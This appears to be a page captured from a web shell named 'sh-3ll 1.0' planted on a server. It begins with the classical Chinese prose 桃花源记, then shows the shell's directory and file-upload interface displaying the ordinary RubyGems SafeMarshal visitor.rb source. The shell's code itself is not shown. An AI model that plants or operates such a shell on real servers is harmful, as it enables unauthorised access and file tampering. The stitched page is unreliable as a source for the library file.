晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/alt/ruby34/share/rubygems/rubygems/safe_marshal/visitors/
Upload File :
Current File : //opt/alt/ruby34/share/rubygems/rubygems/safe_marshal/visitors/visitor.rb
# frozen_string_literal: true

module Gem::SafeMarshal::Visitors
  class Visitor
    def visit(target)
      send DISPATCH.fetch(target.class), target
    end

    private

    DISPATCH = Gem::SafeMarshal::Elements.constants.each_with_object({}) do |c, h|
      next if c == :Element

      klass = Gem::SafeMarshal::Elements.const_get(c)
      h[klass] = :"visit_#{klass.name.gsub("::", "_")}"
      h.default = :visit_unknown_element
    end.compare_by_identity.freeze
    private_constant :DISPATCH

    def visit_unknown_element(e)
      raise ArgumentError, "Attempting to visit unknown element #{e.inspect}"
    end

    def visit_Gem_SafeMarshal_Elements_Array(target)
      target.elements.each {|e| visit(e) }
    end

    def visit_Gem_SafeMarshal_Elements_Bignum(target); end
    def visit_Gem_SafeMarshal_Elements_False(target); end
    def visit_Gem_SafeMarshal_Elements_Float(target); end

    def visit_Gem_SafeMarshal_Elements_Hash(target)
      target.pairs.each do |k, v|
        visit(k)
        visit(v)
      end
    end

    def visit_Gem_SafeMarshal_Elements_HashWithDefaultValue(target)
      visit_Gem_SafeMarshal_Elements_Hash(target)
      visit(target.default)
    end

    def visit_Gem_SafeMarshal_Elements_Integer(target); end
    def visit_Gem_SafeMarshal_Elements_Nil(target); end

    def visit_Gem_SafeMarshal_Elements_Object(target)
      visit(target.name)
    end

    def visit_Gem_SafeMarshal_Elements_ObjectLink(target); end
    def visit_Gem_SafeMarshal_Elements_String(target); end
    def visit_Gem_SafeMarshal_Elements_Symbol(target); end
    def visit_Gem_SafeMarshal_Elements_SymbolLink(target); end
    def visit_Gem_SafeMarshal_Elements_True(target); end

    def visit_Gem_SafeMarshal_Elements_UserDefined(target)
      visit(target.name)
    end

    def visit_Gem_SafeMarshal_Elements_UserMarshal(target)
      visit(target.name)
      visit(target.data)
    end

    def visit_Gem_SafeMarshal_Elements_WithIvars(target)
      visit(target.object)
      target.ivars.each do |k, v|
        visit(k)
        visit(v)
      end
    end
  end
end